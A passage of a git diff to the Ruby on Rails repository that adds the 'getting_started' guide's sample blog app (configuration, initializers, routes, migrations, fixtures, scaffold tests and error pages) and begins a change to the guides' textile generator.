+ # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+ # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+ # config.i18n.default_locale = :de
+
+ # Configure the default encoding used in templates for Ruby 1.9.
+ config.encoding = "utf-8"
+
+ # Configure sensitive parameters which will be filtered from the log file.
+ config.filter_parameters += [:password]
+
+ # Use SQL instead of Active Record's schema dumper when creating the database.
+ # This is necessary if your schema can't be completely dumped by the schema dumper,
+ # like if you have constraints or database-specific column types
+ # config.active_record.schema_format = :sql
+
+ # Enable the asset pipeline
+ config.assets.enabled = true
+
+ # Version of your assets, change this if you want to expire all your assets
+ config.assets.version = '1.0'
+ end
+end
diff --git a/railties/guides/code/getting_started/config/boot.rb b/railties/guides/code/getting_started/config/boot.rb
new file mode 100644
index 0000000000..4489e58688
--- /dev/null
+++ b/railties/guides/code/getting_started/config/boot.rb
@@ -0,0 +1,6 @@
+require 'rubygems'
+
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/guides/code/getting_started/config/database.yml b/railties/guides/code/getting_started/config/database.yml
new file mode 100644
index 0000000000..51a4dd459d
--- /dev/null
+++ b/railties/guides/code/getting_started/config/database.yml
@@ -0,0 +1,25 @@
+# SQLite version 3.x
+# gem install sqlite3
+#
+# Ensure the SQLite 3 gem is defined in your Gemfile
+# gem 'sqlite3'
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: sqlite3
+ database: db/test.sqlite3
+ pool: 5
+ timeout: 5000
+
+production:
+ adapter: sqlite3
+ database: db/production.sqlite3
+ pool: 5
+ timeout: 5000
diff --git a/railties/guides/code/getting_started/config/environment.rb b/railties/guides/code/getting_started/config/environment.rb
new file mode 100644
index 0000000000..8f728b7ce7
--- /dev/null
+++ b/railties/guides/code/getting_started/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the rails application
+require File.expand_path('../application', __FILE__)
+
+# Initialize the rails application
+Blog::Application.initialize!
diff --git a/railties/guides/code/getting_started/config/environments/development.rb b/railties/guides/code/getting_started/config/environments/development.rb
new file mode 100644
index 0000000000..89932bf19b
--- /dev/null
+++ b/railties/guides/code/getting_started/config/environments/development.rb
@@ -0,0 +1,30 @@
+Blog::Application.configure do
+ # Settings specified here will take precedence over those in config/application.rb
+
+ # In the development environment your application's code is reloaded on
+ # every request. This slows down response time but is perfect for development
+ # since you don't have to restart the web server when you make code changes.
+ config.cache_classes = false
+
+ # Log error messages when you accidentally call methods on nil.
+ config.whiny_nils = true
+
+ # Show full error reports and disable caching
+ config.consider_all_requests_local = true
+ config.action_controller.perform_caching = false
+
+ # Don't care if the mailer can't send
+ config.action_mailer.raise_delivery_errors = false
+
+ # Print deprecation notices to the Rails logger
+ config.active_support.deprecation = :log
+
+ # Only use best-standards-support built into browsers
+ config.action_dispatch.best_standards_support = :builtin
+
+ # Do not compress assets
+ config.assets.compress = false
+
+ # Expands the lines which load the assets
+ config.assets.debug = true
+end
diff --git a/railties/guides/code/getting_started/config/environments/production.rb b/railties/guides/code/getting_started/config/environments/production.rb
new file mode 100644
index 0000000000..dee8acfdfe
--- /dev/null
+++ b/railties/guides/code/getting_started/config/environments/production.rb
@@ -0,0 +1,63 @@
+Blog::Application.configure do
+ # Settings specified here will take precedence over those in config/application.rb
+
+ # Code is not reloaded between requests
+ config.cache_classes = true
+
+ # Full error reports are disabled and caching is turned on
+ config.consider_all_requests_local = false
+ config.action_controller.perform_caching = true
+
+ # Disable Rails's static asset server (Apache or nginx will already do this)
+ config.serve_static_assets = false
+
+ # Compress JavaScripts and CSS
+ config.assets.compress = true
+
+ # Don't fallback to assets pipeline if a precompiled asset is missed
+ config.assets.compile = false
+
+ # Generate digests for assets URLs
+ config.assets.digest = true
+
+ # Defaults to Rails.root.join("public/assets")
+ # config.assets.manifest = YOUR_PATH
+
+ # Specifies the header that your server uses for sending files
+ # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+ # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+
+ # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+ # config.force_ssl = true
+
+ # See everything in the log (default is :info)
+ # config.log_level = :debug
+
+ # Prepend all log lines with the following tags
+ # config.log_tags = [ :subdomain, :uuid ]
+
+ # Use a different logger for distributed setups
+ # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
+
+ # Use a different cache store in production
+ # config.cache_store = :mem_cache_store
+
+ # Enable serving of images, stylesheets, and JavaScripts from an asset server
+ # config.action_controller.asset_host = "http://assets.example.com"
+
+ # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+ # config.assets.precompile += %w( search.js )
+
+ # Disable delivery errors, bad email addresses will be ignored
+ # config.action_mailer.raise_delivery_errors = false
+
+ # Enable threaded mode
+ # config.threadsafe!
+
+ # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+ # the I18n.default_locale when a translation can not be found)
+ config.i18n.fallbacks = true
+
+ # Send deprecation notices to registered listeners
+ config.active_support.deprecation = :notify
+end
diff --git a/railties/guides/code/getting_started/config/environments/test.rb b/railties/guides/code/getting_started/config/environments/test.rb
new file mode 100644
index 0000000000..08697cbbc9
--- /dev/null
+++ b/railties/guides/code/getting_started/config/environments/test.rb
@@ -0,0 +1,37 @@
+Blog::Application.configure do
+ # Settings specified here will take precedence over those in config/application.rb
+
+ # The test environment is used exclusively to run your application's
+ # test suite. You never need to work with it otherwise. Remember that
+ # your test database is "scratch space" for the test suite and is wiped
+ # and recreated between test runs. Don't rely on the data there!
+ config.cache_classes = true
+
+ # Configure static asset server for tests with Cache-Control for performance
+ config.serve_static_assets = true
+ config.static_cache_control = "public, max-age=3600"
+
+ # Log error messages when you accidentally call methods on nil
+ config.whiny_nils = true
+
+ # Show full error reports and disable caching
+ config.consider_all_requests_local = true
+ config.action_controller.perform_caching = false
+
+ # Raise exceptions instead of rendering exception templates
+ config.action_dispatch.show_exceptions = false
+
+ # Disable request forgery protection in test environment
+ config.action_controller.allow_forgery_protection = false
+
+ # Tell Action Mailer not to deliver emails to the real world.
+ # The :test delivery method accumulates sent emails in the
+ # ActionMailer::Base.deliveries array.
+ config.action_mailer.delivery_method = :test
+
+ # Print deprecation notices to the stderr
+ config.active_support.deprecation = :stderr
+
+ # Allow pass debug_assets=true as a query parameter to load pages with unpackaged assets
+ config.assets.allow_debugging = true
+end
diff --git a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb
new file mode 100644
index 0000000000..59385cdf37
--- /dev/null
+++ b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb
@@ -0,0 +1,7 @@
+# Be sure to restart your server when you modify this file.
+
+# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
+# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
+
+# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
+# Rails.backtrace_cleaner.remove_silencers!
diff --git a/railties/guides/code/getting_started/config/initializers/inflections.rb b/railties/guides/code/getting_started/config/initializers/inflections.rb
new file mode 100644
index 0000000000..9e8b0131f8
--- /dev/null
+++ b/railties/guides/code/getting_started/config/initializers/inflections.rb
@@ -0,0 +1,10 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format
+# (all these examples are active by default):
+# ActiveSupport::Inflector.inflections do |inflect|
+# inflect.plural /^(ox)$/i, '\1en'
+# inflect.singular /^(ox)en/i, '\1'
+# inflect.irregular 'person', 'people'
+# inflect.uncountable %w( fish sheep )
+# end
diff --git a/railties/guides/code/getting_started/config/initializers/mime_types.rb b/railties/guides/code/getting_started/config/initializers/mime_types.rb
new file mode 100644
index 0000000000..72aca7e441
--- /dev/null
+++ b/railties/guides/code/getting_started/config/initializers/mime_types.rb
@@ -0,0 +1,5 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new mime types for use in respond_to blocks:
+# Mime::Type.register "text/richtext", :rtf
+# Mime::Type.register_alias "text/html", :iphone
diff --git a/railties/guides/code/getting_started/config/initializers/secret_token.rb b/railties/guides/code/getting_started/config/initializers/secret_token.rb
new file mode 100644
index 0000000000..b0c8ee23c1
--- /dev/null
+++ b/railties/guides/code/getting_started/config/initializers/secret_token.rb
@@ -0,0 +1,7 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459'
diff --git a/railties/guides/code/getting_started/config/initializers/session_store.rb b/railties/guides/code/getting_started/config/initializers/session_store.rb
new file mode 100644
index 0000000000..1a67af58b5
--- /dev/null
+++ b/railties/guides/code/getting_started/config/initializers/session_store.rb
@@ -0,0 +1,8 @@
+# Be sure to restart your server when you modify this file.
+
+Blog::Application.config.session_store :cookie_store, key: '_blog_session'
+
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails generate session_migration")
+# Blog::Application.config.session_store :active_record_store
diff --git a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb
new file mode 100644
index 0000000000..999df20181
--- /dev/null
+++ b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb
@@ -0,0 +1,14 @@
+# Be sure to restart your server when you modify this file.
+#
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+ wrap_parameters format: [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+ self.include_root_in_json = false
+end
diff --git a/railties/guides/code/getting_started/config/locales/en.yml b/railties/guides/code/getting_started/config/locales/en.yml
new file mode 100644
index 0000000000..179c14ca52
--- /dev/null
+++ b/railties/guides/code/getting_started/config/locales/en.yml
@@ -0,0 +1,5 @@
+# Sample localization file for English. Add more files in this directory for other locales.
+# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points.
+
+en:
+ hello: "Hello world"
diff --git a/railties/guides/code/getting_started/config/routes.rb b/railties/guides/code/getting_started/config/routes.rb
new file mode 100644
index 0000000000..31f0d210db
--- /dev/null
+++ b/railties/guides/code/getting_started/config/routes.rb
@@ -0,0 +1,64 @@
+Blog::Application.routes.draw do
+ resources :posts do
+ resources :comments
+ end
+
+ get "home/index"
+
+ # The priority is based upon order of creation:
+ # first created -> highest priority.
+
+ # Sample of regular route:
+ # match 'products/:id' => 'catalog#view'
+ # Keep in mind you can assign values other than :controller and :action
+
+ # Sample of named route:
+ # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
+ # This route can be invoked with purchase_url(:id => product.id)
+
+ # Sample resource route (maps HTTP verbs to controller actions automatically):
+ # resources :products
+
+ # Sample resource route with options:
+ # resources :products do
+ # member do
+ # get 'short'
+ # post 'toggle'
+ # end
+ #
+ # collection do
+ # get 'sold'
+ # end
+ # end
+
+ # Sample resource route with sub-resources:
+ # resources :products do
+ # resources :comments, :sales
+ # resource :seller
+ # end
+
+ # Sample resource route with more complex sub-resources
+ # resources :products do
+ # resources :comments
+ # resources :sales do
+ # get 'recent', :on => :collection
+ # end
+ # end
+
+ # Sample resource route within a namespace:
+ # namespace :admin do
+ # # Directs /admin/products/* to Admin::ProductsController
+ # # (app/controllers/admin/products_controller.rb)
+ # resources :products
+ # end
+
+ # You can have the root of your site routed with "root"
+ # just remember to delete public/index.html.
+ root :to => "home#index"
+
+ # See how all your routes lay out with "rake routes"
+
+ # This is a legacy wild controller route that's not recommended for RESTful applications.
+ # Note: This route will make all actions in every controller accessible via GET requests.
+ # match ':controller(/:action(/:id(.:format)))'
+end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb
new file mode 100644
index 0000000000..d45a961523
--- /dev/null
+++ b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb
@@ -0,0 +1,11 @@
+class CreatePosts < ActiveRecord::Migration
+ def change
+ create_table :posts do |t|
+ t.string :name
+ t.string :title
+ t.text :content
+
+ t.timestamps
+ end
+ end
+end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
new file mode 100644
index 0000000000..adda8078c1
--- /dev/null
+++ b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
@@ -0,0 +1,12 @@
+class CreateComments < ActiveRecord::Migration
+ def change
+ create_table :comments do |t|
+ t.string :commenter
+ t.text :body
+ t.references :post
+
+ t.timestamps
+ end
+ add_index :comments, :post_id
+ end
+end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb
new file mode 100644
index 0000000000..cf95b1c3d0
--- /dev/null
+++ b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb
@@ -0,0 +1,11 @@
+class CreateTags < ActiveRecord::Migration
+ def change
+ create_table :tags do |t|
+ t.string :name
+ t.references :post
+
+ t.timestamps
+ end
+ add_index :tags, :post_id
+ end
+end
diff --git a/railties/guides/code/getting_started/db/schema.rb b/railties/guides/code/getting_started/db/schema.rb
new file mode 100644
index 0000000000..9db4fbe4b6
--- /dev/null
+++ b/railties/guides/code/getting_started/db/schema.rb
@@ -0,0 +1,43 @@
+# encoding: UTF-8
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your
+# database schema. If you need to create the application database on another
+# system, you should be using db:schema:load, not running all the migrations
+# from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended to check this file into your version control system.
+
+ActiveRecord::Schema.define(:version => 20110901013701) do
+
+ create_table "comments", :force => true do |t|
+ t.string "commenter"
+ t.text "body"
+ t.integer "post_id"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ add_index "comments", ["post_id"], :name => "index_comments_on_post_id"
+
+ create_table "posts", :force => true do |t|
+ t.string "name"
+ t.string "title"
+ t.text "content"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ create_table "tags", :force => true do |t|
+ t.string "name"
+ t.integer "post_id"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ add_index "tags", ["post_id"], :name => "index_tags_on_post_id"
+
+end
diff --git a/railties/guides/code/getting_started/db/seeds.rb b/railties/guides/code/getting_started/db/seeds.rb
new file mode 100644
index 0000000000..4edb1e857e
--- /dev/null
+++ b/railties/guides/code/getting_started/db/seeds.rb
@@ -0,0 +1,7 @@
+# This file should contain all the record creation needed to seed the database with its default values.
+# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
+#
+# Examples:
+#
+# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
+# Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/railties/guides/code/getting_started/doc/README_FOR_APP b/railties/guides/code/getting_started/doc/README_FOR_APP
new file mode 100644
index 0000000000..fe41f5cc24
--- /dev/null
+++ b/railties/guides/code/getting_started/doc/README_FOR_APP
@@ -0,0 +1,2 @@
+Use this README file to introduce your application and point to useful places in the API for learning more.
+Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries.
diff --git a/railties/guides/code/getting_started/lib/assets/.gitkeep b/railties/guides/code/getting_started/lib/assets/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/lib/assets/.gitkeep
diff --git a/railties/guides/code/getting_started/lib/tasks/.gitkeep b/railties/guides/code/getting_started/lib/tasks/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/lib/tasks/.gitkeep
diff --git a/railties/guides/code/getting_started/public/404.html b/railties/guides/code/getting_started/public/404.html
new file mode 100644
index 0000000000..9a48320a5f
--- /dev/null
+++ b/railties/guides/code/getting_started/public/404.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>The page you were looking for doesn't exist (404)</title>
+ <style type="text/css">
+ body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
+ div.dialog {
+ width: 25em;
+ padding: 0 4em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #ccc;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ }
+ h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/404.html -->
+ <div class="dialog">
+ <h1>The page you were looking for doesn't exist.</h1>
+ <p>You may have mistyped the address or the page may have moved.</p>
+ </div>
+</body>
+</html>
diff --git a/railties/guides/code/getting_started/public/422.html b/railties/guides/code/getting_started/public/422.html
new file mode 100644
index 0000000000..83660ab187
--- /dev/null
+++ b/railties/guides/code/getting_started/public/422.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>The change you wanted was rejected (422)</title>
+ <style type="text/css">
+ body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
+ div.dialog {
+ width: 25em;
+ padding: 0 4em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #ccc;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ }
+ h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/422.html -->
+ <div class="dialog">
+ <h1>The change you wanted was rejected.</h1>
+ <p>Maybe you tried to change something you didn't have access to.</p>
+ </div>
+</body>
+</html>
diff --git a/railties/guides/code/getting_started/public/500.html b/railties/guides/code/getting_started/public/500.html
new file mode 100644
index 0000000000..b80307fc16
--- /dev/null
+++ b/railties/guides/code/getting_started/public/500.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>We're sorry, but something went wrong (500)</title>
+ <style type="text/css">
+ body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
+ div.dialog {
+ width: 25em;
+ padding: 0 4em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #ccc;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ }
+ h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/500.html -->
+ <div class="dialog">
+ <h1>We're sorry, but something went wrong.</h1>
+ <p>We've been notified about this issue and we'll take a look at it shortly.</p>
+ </div>
+</body>
+</html>
diff --git a/railties/guides/code/getting_started/public/favicon.ico b/railties/guides/code/getting_started/public/favicon.ico
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/public/favicon.ico
diff --git a/railties/guides/code/getting_started/public/robots.txt b/railties/guides/code/getting_started/public/robots.txt
new file mode 100644
index 0000000000..085187fa58
--- /dev/null
+++ b/railties/guides/code/getting_started/public/robots.txt
@@ -0,0 +1,5 @@
+# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+#
+# To ban all spiders from the entire site uncomment the next two lines:
+# User-Agent: *
+# Disallow: /
diff --git a/railties/guides/code/getting_started/script/rails b/railties/guides/code/getting_started/script/rails
new file mode 100755
index 0000000000..f8da2cffd4
--- /dev/null
+++ b/railties/guides/code/getting_started/script/rails
@@ -0,0 +1,6 @@
+#!/usr/bin/env ruby
+# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application.
+
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require File.expand_path('../../config/boot', __FILE__)
+require 'rails/commands'
diff --git a/railties/guides/code/getting_started/test/fixtures/.gitkeep b/railties/guides/code/getting_started/test/fixtures/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/test/fixtures/.gitkeep
diff --git a/railties/guides/code/getting_started/test/fixtures/comments.yml b/railties/guides/code/getting_started/test/fixtures/comments.yml
new file mode 100644
index 0000000000..d33da386bf
--- /dev/null
+++ b/railties/guides/code/getting_started/test/fixtures/comments.yml
@@ -0,0 +1,11 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
+
+one:
+ commenter: MyString
+ body: MyText
+ post:
+
+two:
+ commenter: MyString
+ body: MyText
+ post:
diff --git a/railties/guides/code/getting_started/test/fixtures/posts.yml b/railties/guides/code/getting_started/test/fixtures/posts.yml
new file mode 100644
index 0000000000..8b0f75a33d
--- /dev/null
+++ b/railties/guides/code/getting_started/test/fixtures/posts.yml
@@ -0,0 +1,11 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
+
+one:
+ name: MyString
+ title: MyString
+ content: MyText
+
+two:
+ name: MyString
+ title: MyString
+ content: MyText
diff --git a/railties/guides/code/getting_started/test/fixtures/tags.yml b/railties/guides/code/getting_started/test/fixtures/tags.yml
new file mode 100644
index 0000000000..8485668908
--- /dev/null
+++ b/railties/guides/code/getting_started/test/fixtures/tags.yml
@@ -0,0 +1,9 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
+
+one:
+ name: MyString
+ post:
+
+two:
+ name: MyString
+ post:
diff --git a/railties/guides/code/getting_started/test/functional/.gitkeep b/railties/guides/code/getting_started/test/functional/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/test/functional/.gitkeep
diff --git a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb
new file mode 100644
index 0000000000..2ec71b4ec5
--- /dev/null
+++ b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class CommentsControllerTest < ActionController::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/railties/guides/code/getting_started/test/functional/home_controller_test.rb b/railties/guides/code/getting_started/test/functional/home_controller_test.rb
new file mode 100644
index 0000000000..0d9bb47c3e
--- /dev/null
+++ b/railties/guides/code/getting_started/test/functional/home_controller_test.rb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+class HomeControllerTest < ActionController::TestCase
+ test "should get index" do
+ get :index
+ assert_response :success
+ end
+
+end
diff --git a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb
new file mode 100644
index 0000000000..b8f7b07820
--- /dev/null
+++ b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb
@@ -0,0 +1,49 @@
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+ setup do
+ @post = posts(:one)
+ end
+
+ test "should get index" do
+ get :index
+ assert_response :success
+ assert_not_nil assigns(:posts)
+ end
+
+ test "should get new" do
+ get :new
+ assert_response :success
+ end
+
+ test "should create post" do
+ assert_difference('Post.count') do
+ post :create, post: @post.attributes
+ end
+
+ assert_redirected_to post_path(assigns(:post))
+ end
+
+ test "should show post" do
+ get :show, id: @post.to_param
+ assert_response :success
+ end
+
+ test "should get edit" do
+ get :edit, id: @post.to_param
+ assert_response :success
+ end
+
+ test "should update post" do
+ put :update, id: @post.to_param, post: @post.attributes
+ assert_redirected_to post_path(assigns(:post))
+ end
+
+ test "should destroy post" do
+ assert_difference('Post.count', -1) do
+ delete :destroy, id: @post.to_param
+ end
+
+ assert_redirected_to posts_path
+ end
+end
diff --git a/railties/guides/code/getting_started/test/integration/.gitkeep b/railties/guides/code/getting_started/test/integration/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/test/integration/.gitkeep
diff --git a/railties/guides/code/getting_started/test/performance/browsing_test.rb b/railties/guides/code/getting_started/test/performance/browsing_test.rb
new file mode 100644
index 0000000000..3fea27b916
--- /dev/null
+++ b/railties/guides/code/getting_started/test/performance/browsing_test.rb
@@ -0,0 +1,12 @@
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class BrowsingTest < ActionDispatch::PerformanceTest
+ # Refer to the documentation for all available options
+ # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory]
+ # :output => 'tmp/performance', :formats => [:flat] }
+
+ def test_homepage
+ get '/'
+ end
+end
diff --git a/railties/guides/code/getting_started/test/test_helper.rb b/railties/guides/code/getting_started/test/test_helper.rb
new file mode 100644
index 0000000000..8bf1192ffe
--- /dev/null
+++ b/railties/guides/code/getting_started/test/test_helper.rb
@@ -0,0 +1,13 @@
+ENV["RAILS_ENV"] = "test"
+require File.expand_path('../../config/environment', __FILE__)
+require 'rails/test_help'
+
+class ActiveSupport::TestCase
+ # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order.
+ #
+ # Note: You'll currently still have to declare fixtures explicitly in integration tests
+ # -- they do not yet inherit this setting
+ fixtures :all
+
+ # Add more helper methods to be used by all tests here...
+end
diff --git a/railties/guides/code/getting_started/test/unit/.gitkeep b/railties/guides/code/getting_started/test/unit/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/test/unit/.gitkeep
diff --git a/railties/guides/code/getting_started/test/unit/comment_test.rb b/railties/guides/code/getting_started/test/unit/comment_test.rb
new file mode 100644
index 0000000000..b6d6131a96
--- /dev/null
+++ b/railties/guides/code/getting_started/test/unit/comment_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class CommentTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
new file mode 100644
index 0000000000..2518c16bd5
--- /dev/null
+++ b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class CommentsHelperTest < ActionView::TestCase
+end
diff --git a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
new file mode 100644
index 0000000000..4740a18dac
--- /dev/null
+++ b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class HomeHelperTest < ActionView::TestCase
+end
diff --git a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
new file mode 100644
index 0000000000..48549c2ea1
--- /dev/null
+++ b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class PostsHelperTest < ActionView::TestCase
+end
diff --git a/railties/guides/code/getting_started/test/unit/post_test.rb b/railties/guides/code/getting_started/test/unit/post_test.rb
new file mode 100644
index 0000000000..6d9d463a71
--- /dev/null
+++ b/railties/guides/code/getting_started/test/unit/post_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/railties/guides/code/getting_started/test/unit/tag_test.rb b/railties/guides/code/getting_started/test/unit/tag_test.rb
new file mode 100644
index 0000000000..b8498a117c
--- /dev/null
+++ b/railties/guides/code/getting_started/test/unit/tag_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class TagTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep
diff --git a/railties/guides/code/getting_started/vendor/plugins/.gitkeep b/railties/guides/code/getting_started/vendor/plugins/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/vendor/plugins/.gitkeep
diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb
index d304512ff7..6f6d3bda80 100644
--- a/railties/guides/rails_guides/generator.rb
+++ b/railties/guides/rails_guides/generator.rb
@@ -137,7 +137,8 @@ module RailsGuides
if guide =~ /\.html\.erb$/
# Generate the special pages like the home.
- result = view.render(:layout => 'layout', :file => guide)
+ # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
+ result = view.render(:layout => 'layout', :file => $`)
else
body = File.read(File.join(source_dir, guide))
body = set_header_section(body, view)
@@ -199,50 +200,10 @@ module RailsGuides
end
def textile(body, lite_mode=false)
- # If the issue with notextile is fixed just remove the wrapper.
- with_workaround_for_notextile(body) do |body|
- t = RedCloth.new(body)
- t.hard_breaks = false
- t.lite_mode = lite_mode
- t.to_html(:notestuff, :plusplus, :code)
- end
- end
-
- # For some reason the notextile tag does not always turn off textile. See
- # LH ticket of the security guide (#7). As a temporary workaround we deal
- # with code blocks by hand.
- def with_workaround_for_notextile(body)
- code_blocks = []
-
